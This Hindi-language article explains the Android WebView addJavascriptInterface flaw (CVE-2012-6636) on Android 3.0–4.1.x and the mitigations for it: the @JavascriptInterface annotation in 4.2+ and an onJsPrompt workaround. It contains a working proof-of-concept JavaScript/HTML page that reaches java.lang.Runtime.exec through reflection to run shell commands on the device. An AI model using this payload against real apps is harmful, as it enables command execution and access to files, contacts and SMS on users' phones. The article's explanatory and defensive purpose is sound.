
Android 3.0 से 4.1.x तक, Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank और अन्य उपकरणों पर, WebView क्लास को सही ढंग से लागू नहीं करता है, जो दूरस्थ हमलावरों को किसी निर्मित (क्राफ्टेड) वेब पेज के माध्यम से Java ऑब्जेक्ट्स की मनमानी विधियों को निष्पादित करने या सेवा से वंचित (रीबूट) करने की अनुमति देता है, जैसा कि WebView.addJavascriptInterface विधि के उपयोग द्वारा प्रदर्शित किया गया है, जो CVE-2012-6636 से संबंधित एक समस्या है।
कई बार हम वेबपेज प्रदर्शित करने के लिए WebView का उपयोग करते हैं, उदाहरण के लिए कई एप्लिकेशन सर्वर नियंत्रण प्राप्त करने के लिए, कई परिणाम पृष्ठ वेबपेज होते हैं, न कि स्थानीय कार्यान्वयन, जिसके कई फायदे हैं, जैसे कि इंटरफ़ेस बदलने के लिए नया संस्करण जारी करने की आवश्यकता नहीं होती, सीधे सर्वर छोर पर लाइन संशोधित करें। वेबपेज के साथ इंटरफ़ेस प्रदर्शित करने पर, आमतौर पर Java कोड के साथ कमोबेश परस्पर क्रिया होती है, जैसे वेबपेज पर बटन क्लिक, हमें बटन क्लिक इवेंट जानने की आवश्यकता होती है, या हमें एक विधि को कॉल करना होता है, ताकि पृष्ठ कुछ क्रिया कर सके, इन परस्पर क्रियाओं को प्राप्त करने के लिए, हम आमतौर पर JS का उपयोग करते हैं, जबकि WebView ने ऐसी विधि प्रदान की है, विशिष्ट उपयोग इस प्रकार है:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
हमने WebView से "jsInterface" नाम की वस्तु को पंजीकृत करने के लिए कहा, और फिर JS में jsInterface वस्तु तक पहुँचा जा सकता है, आप वस्तु की कुछ विधियों को कॉल कर सकते हैं, अंतिम कॉल Java कोड में होती है, इस प्रकार JS और Java कोड की परस्पर क्रिया को साकार किया जा सकता है। आइए हम सब मिलकर Android वेबसाइट विवरण पर addJavascriptInterface विधि पर एक नज़र डालें:
इस विधि का उपयोग JavaScript को होस्ट एप्लिकेशन को नियंत्रित करने की अनुमति देने के लिए किया जा सकता है। यह एक शक्तिशाली सुविधा है, लेकिन API स्तर JELLYBEAN या उससे नीचे के लिए लक्षित एप्लिकेशनों के लिए यह सुरक्षा जोखिम भी प्रस्तुत करती है, क्योंकि JavaScript इंजेक्ट की गई वस्तु के सार्वजनिक फ़ील्ड तक पहुँचने के लिए रिफ्लेक्शन का उपयोग कर सकता है। अविश्वसनीय सामग्री वाले WebView में इस विधि का उपयोग किसी हमलावर को होस्ट एप्लिकेशन की अनुमतियों के साथ Java कोड निष्पादित करते हुए, अनपेक्षित तरीकों से होस्ट एप्लिकेशन में हेरफेर करने की अनुमति दे सकता है। ऐसे WebView में इस विधि का उपयोग करते समय अत्यधिक सावधानी बरतें जिसमें अविश्वसनीय सामग्री हो सकती है।
JavaScript इस WebView के एक निजी, पृष्ठभूमि थ्रेड पर Java वस्तु के साथ परस्पर क्रिया करता है। इसलिए थ्रेड सुरक्षा बनाए रखने के लिए सावधानी आवश्यक है। Java वस्तु के फ़ील्ड सुलभ नहीं हैं।
सीधे शब्दों में कहें तो, addJavascriptInterface का उपयोग असुरक्षा का कारण बन सकता है, क्योंकि JS में दुर्भावनापूर्ण कोड हो सकता है। यही खामी है और आज हम यही कहना चाहते हैं, जब JS में दुर्भावनापूर्ण कोड होता है, तो वह कुछ भी कर सकता है।
JavaScript के माध्यम से, कोई भी चीज़ डिवाइस पर SD कार्ड, और यहाँ तक कि संपर्क जानकारी, SMS आदि तक पहुँच सकती है। यह घृणित है, क्वैक।
WebView एक JavaScript वस्तु जोड़ता है, और वर्तमान एप्लिकेशन के पास SD कार्ड पढ़ने और लिखने की अनुमतियाँ हैं, या: android.permission.WRITE_EXTERNAL_STORAGE
JS में window ऑब्जेक्ट के माध्यम से, ऑब्जेक्ट की "getClass" विधि पाई जा सकती है, और फिर रिफ्लेक्शन तंत्र के माध्यम से, Runtime ऑब्जेक्ट प्राप्त करें, फिर कुछ कमांड चलाने के लिए स्थैतिक विधि को कॉल करें, जैसे फ़ाइल कमांड तक पहुँच।
निष्पादन कमांड इनपुट स्ट्रीम से लौटाई गई स्ट्रिंग से, आप फ़ाइल नाम की जानकारी प्राप्त कर सकते हैं। फिर जो चाहें करें, अच्छा जोखिम। मुख्य JS कोड इस प्रकार है:
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
इस खामी को साबित करने के लिए, मैं स्थानीय वेबपेज का एक दुर्भावनापूर्ण JS कोड लोड कर रहा हूँ, HTML कोड इस प्रकार है:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java कोड इस प्रकार है:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
अनुमतियाँ जोड़ने की आवश्यकता है:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
सिस्टम Android 4.2 या उससे ऊपर Android 4.2 या उससे ऊपर में, Google ने Java रिमोट विधि पर @JavascriptInterface की घोषणा को संशोधित किया, जैसा कि निम्नलिखित कोड में है:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
सिस्टम Android 4.2 से नीचे
यह समस्या हल करना कठिन है, लेकिन इसे हल किया भी नहीं जा सकता। सबसे पहले, हमें addJavascriptInterface विधि को कॉल नहीं करना चाहिए। इस मुद्दे पर, मूल बात JS इवेंट की इस एक क्रिया को जानना है, JS और Java के बीच परस्पर क्रिया, जैसा कि हम जानते हैं, कई प्रकार की होती है, जैसे prompt, alert, ऐसी क्रियाएँ WebChromeClient विधि के अनुरूप होती हैं, prompt के लिए संगत वर्ग, जो onJsPrompt विधि के अनुरूप होता है, इस विधि की घोषणा इस प्रकार है:
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
इस विधि द्वारा, JS जानकारी (पाठ) को Java में स्थानांतरित कर सकता है, और Java भी जानकारी (पाठ) को JS में संचारित कर सकता है।